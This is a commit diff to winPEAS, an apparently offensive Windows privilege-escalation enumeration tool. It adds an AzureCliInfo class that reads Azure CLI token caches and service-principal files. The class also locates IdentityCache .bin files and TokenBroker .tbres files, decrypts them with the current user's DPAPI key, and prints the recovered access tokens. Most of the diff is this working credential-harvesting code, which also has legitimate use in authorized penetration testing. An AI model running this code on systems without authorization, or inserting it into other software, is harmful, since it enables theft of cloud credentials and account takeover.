add az tokens

winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json

@@ -1 +1 @@
-{"RootPath":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\Tests","ProjectFileName":"winPEAS.Tests.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"SmokeTests.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Portable.BouncyCastle.1.9.0\\lib\\net40\\BouncyCastle.Crypto.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Costura.Fody.5.7.0\\lib\\netstandard1.0\\Costura.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Microsoft.CodeCoverage.16.10.0\\lib\\net45\\Microsoft.VisualStudio.CodeCoverage.Shim.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\MSTest.TestFramework.2.2.5\\lib\\net45\\Microsoft.VisualStudio.TestPlatform.TestFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\MSTest.TestFramework.2.2.5\\lib\\net45\\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.Composition.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.DataAnnotations.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.IO.Compression.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Numerics.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Runtime.InteropServices.RuntimeInformation.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":true,"ProjectPath":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe"}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\Public\\PEASS-ng\\winPEAS\\winPEASexe\\Tests\\bin\\Debug\\Tests.dll","OutputItemRelativePath":"Tests.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
+{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests","ProjectFileName":"winPEAS.Tests.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[],"References":[],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests\\bin\\Debug\\Tests.dll","OutputItemRelativePath":"Tests.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}

winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs

@@ -21,6 +21,7 @@ public void PrintInfo(bool isDebug)
             {
                new AWSInfo(),
                new AzureInfo(),
+               new AzureCliInfo(),
                new GCPInfo(),
                new GCPJoinedInfo(),
                new GCDSInfo(),
@@ -57,36 +58,31 @@ public void PrintInfo(bool isDebug)
 
                             foreach (var endpointData in endpointDataList)
                             {
-                                var colors = new Dictionary<string, string>
-                                {
-                                    { endpointData.EndpointName, Beaprint.GRAY }
-                                };
+                                string msgcolor = Beaprint.NOCOLOR;
 
                                 string message;
                                 if (!string.IsNullOrEmpty(endpointData.Data))
                                 {
                                     message = endpointData.Data;
                                     // if it is a JSON data, add additional newline so it's displayed on a separate line
-                                    if (message.StartsWith("{"))
+                                    if (message.StartsWith("{") || message.StartsWith("["))
                                     {
                                         message = $"\n{message}\n";
                                     }
 
                                     if (endpointData.IsAttackVector)
                                     {
-                                        colors.Add(message, Beaprint.ansi_color_bad);
-                                    }
-                                    else
-                                    {
-                                        colors.Add(message, Beaprint.ansi_color_gray);
+                                        msgcolor = Beaprint.ansi_color_bad;
                                     }
                                 }
                                 else
                                 {
                                     message = "No data received from the metadata endpoint";
+                                    msgcolor = Beaprint.ansi_color_gray;
                                 }
 
-                                Beaprint.ColorPrint($"{endpointData.EndpointName,-30}{message}", Beaprint.ansi_color_gray);
+                                Beaprint.ColorPrint($"{endpointData.EndpointName,-30}", Beaprint.ansi_users_active);
+                                Beaprint.ColorPrint(message, msgcolor);
                             }
 
                             Beaprint.GrayPrint("");

winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureCliInfo.cs

@@ -0,0 +1,274 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using winPEAS.Helpers;
+using System.Data.SQLite;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Parameters;
+using Org.BouncyCastle.Crypto.Modes;
+using System.Linq;
+using Microsoft.Win32;
+using System.Web.Script.Serialization;
+using System;
+using System.IO;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+
+
+namespace winPEAS.Info.CloudInfo
+{
+    internal class AzureCliInfo : CloudInfoBase
+    {
+        public override string Name => "Azure Cli";
+
+        public override bool IsCloud => CheckIfAzureCliInstalled();
+
+        private Dictionary<string, List<EndpointData>> _endpointData = null;
+
+        public static bool CheckIfAzureCliInstalled()
+        {
+            string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
+            string AzureFolderPath = Path.Combine(homeDirectory, ".Azure");
+            string azureFolderPath = Path.Combine(homeDirectory, ".azure");
+
+            return Directory.Exists(AzureFolderPath) || Directory.Exists(azureFolderPath);
+        }
+
+        public static string TBRESDecryptedData(string filePath)
+        {
+            var fileJSON = File.ReadAllText(filePath, Encoding.Unicode);
+            fileJSON = fileJSON.Substring(0, fileJSON.Length - 1);
+
+            try
+            {
+                var jsonObject = JsonNode.Parse(fileJSON).AsObject();
+                var encodedData = jsonObject["TBDataStoreObject"]["ObjectData"]["SystemDefinedProperties"]["ResponseBytes"]["Value"].ToString();
+                var encryptedData = Convert.FromBase64String(encodedData);
+                var decryptedData = ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);
+                string decodedData = Encoding.UTF8.GetString(decryptedData);
+
+                if (decodedData.Contains("No Token"))
+                {
+                    return "";
+                }
+
+                return decodedData;
+
+            }
+            catch (System.Exception)
+            {
+                Beaprint.PrintException($"[!] Error Decrypting File: {filePath}");
+                return "";
+            }
+        }
+
+
+        private List<EndpointData> GetAzureCliValues()
+        {
+            Dictionary<string, string> AzureCliValues = new Dictionary<string, string>();
+            string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
+            string AzureFolderPath = Path.Combine(homeDirectory, ".Azure");
+            string azureFolderPath = Path.Combine(homeDirectory, ".azure");
+
+            string azureHomePath = azureFolderPath;
+
+            if (Directory.Exists(AzureFolderPath))
+            {
+                azureHomePath = AzureFolderPath;
+            };
+
+            // Files that doesn't need decryption
+            string[] fileNames = {
+                @"azureProfile.json",
+                @"clouds.config",
+                @"service_principal_entries.json",
+                @"msal_token_cache.json"
+            };
+
+            foreach (string fileName in fileNames)
+            {
+                string filePath = Path.Combine(azureHomePath, fileName);
+                // Check if the file exists
+                if (File.Exists(filePath))
+                {
+                    try
+                    {
+                        // Read the file content
+                        string fileContent = File.ReadAllText(filePath);
+
+                        // Add the file path and content to the dictionary
+                        AzureCliValues[filePath] = fileContent;
+                    }
+                    catch (Exception ex)
+                    {
+                        Beaprint.PrintException($"Error reading file '{filePath}': {ex.Message}");
+                    }
+                }
+            }
+
+
+
+            // Get the IdentityCache directory path and encrypted files with tokens
+            string identityCachePath = Path.Combine(
+                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+                "Microsoft",
+                "IdentityCache"
+            );
+
+            string[] binFiles = { };
+
+            // Check if the directory exists
+            if (!Directory.Exists(identityCachePath))
+            {
+                Beaprint.PrintException($"The directory '{identityCachePath}' does not exist.");
+            }
+
+            try
+            {
+                // Recursively find all *.bin files
+                binFiles = Directory.GetFiles(identityCachePath, "*.bin", SearchOption.AllDirectories);
+            }
+            catch (Exception ex)
+            {
+                Beaprint.PrintException($"An error occurred while scanning the identityCache directory: {ex.Message}");
+            }
+
+
+            // Get the IdentityCache directory path and encrypted files with tokens
+            string tokenBrokerPath = Path.Combine(
+                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+                "Microsoft",
+                "TokenBroker"
+            );
+
+            // Files that need decryption
+            string[] fileNamesEncrp = {
+                @"service_principal_entries.bin",
+                @"msal_token_cache.bin"
+            };
+
+            foreach (string fileName in fileNamesEncrp.Concat(binFiles).ToArray())//.Concat(tbFiles).ToArray())
+            {
+                string filePath = fileName;
+
+                if (!fileName.Contains("\\"))
+                {
+                    filePath = Path.Combine(azureHomePath, fileName);
+                }
+
+                try
+                {
+                    if (File.Exists(filePath))
+                    {
+                        // Read encrypted file
+                        byte[] encryptedData = File.ReadAllBytes(filePath);
+
+                        // Decrypt using DPAPI for the current user
+                        byte[] decryptedData = ProtectedData.Unprotect(
+                            encryptedData,
+                            null,
+                            DataProtectionScope.CurrentUser
+                        );
+
+                        // Write decrypted data to output file
+                        AzureCliValues[filePath] = Encoding.UTF8.GetString(decryptedData);
+                    }
+
+                }
+                catch (CryptographicException ex)
+                {
+                    Beaprint.PrintException($"Decrypting {filePath} failed: {ex.Message}");
+                }
+                catch (Exception ex)
+                {
+                    Beaprint.PrintException($"An error occurred: {ex.Message}");
+                }
+            }
+
+
+            //TBRES files
+
+            string[] tbFiles = { };
+
+            // Check if the directory exists
+            if (!Directory.Exists(tokenBrokerPath))
+            {
+                Beaprint.PrintException($"The directory '{tokenBrokerPath}' does not exist.");
+            }
+
+            try
+            {
+                // Recursively find all *.bin files
+                tbFiles = Directory.GetFiles(tokenBrokerPath, "*.tbres", SearchOption.AllDirectories);
+            }
+            catch (Exception ex)
+            {
+                Beaprint.PrintException($"An error occurred while scanning the Token Broker directory: {ex.Message}");
+            }
+
+            foreach (string filePath in tbFiles)
+            {
+                string TBRESContent = TBRESDecryptedData(filePath);
+                if (TBRESContent.Length > 0)
+                    AzureCliValues[filePath] = TBRESContent;
+            }
+
+            // Format the info in expected CloudInfo format
+            List<EndpointData> _endpointDataList = new List<EndpointData>();
+
+            foreach (var kvp in AzureCliValues)
+            {
+                _endpointDataList.Add(new EndpointData()
+                {
+                    EndpointName = kvp.Key,
+                    Data = kvp.Value?.Trim(),
+                    IsAttackVector = false
+                });
+            }
+
+            return _endpointDataList;
+        }
+
+
+        public override Dictionary<string, List<EndpointData>> EndpointDataList()
+        {
+            if (_endpointData == null)
+            {
+                _endpointData = new Dictionary<string, List<EndpointData>>();
+
+                try
+                {
+                    if (IsAvailable)
+                    {
+                        _endpointData.Add("Local Info", GetAzureCliValues());
+                    }
+                    else
+                    {
+                        _endpointData.Add("General Info", new List<EndpointData>()
+                        {
+                            new EndpointData()
+                            {
+                                EndpointName = "",
+                                Data = null,
+                                IsAttackVector = false
+                            }
+                        });
+                    }
+                }
+                catch (Exception ex)
+                {
+                    Beaprint.PrintException(ex.Message);
+                }
+            }
+
+            return _endpointData;
+        }
+
+        public override bool TestConnection()
+        {
+            return true;
+        }
+    }
+}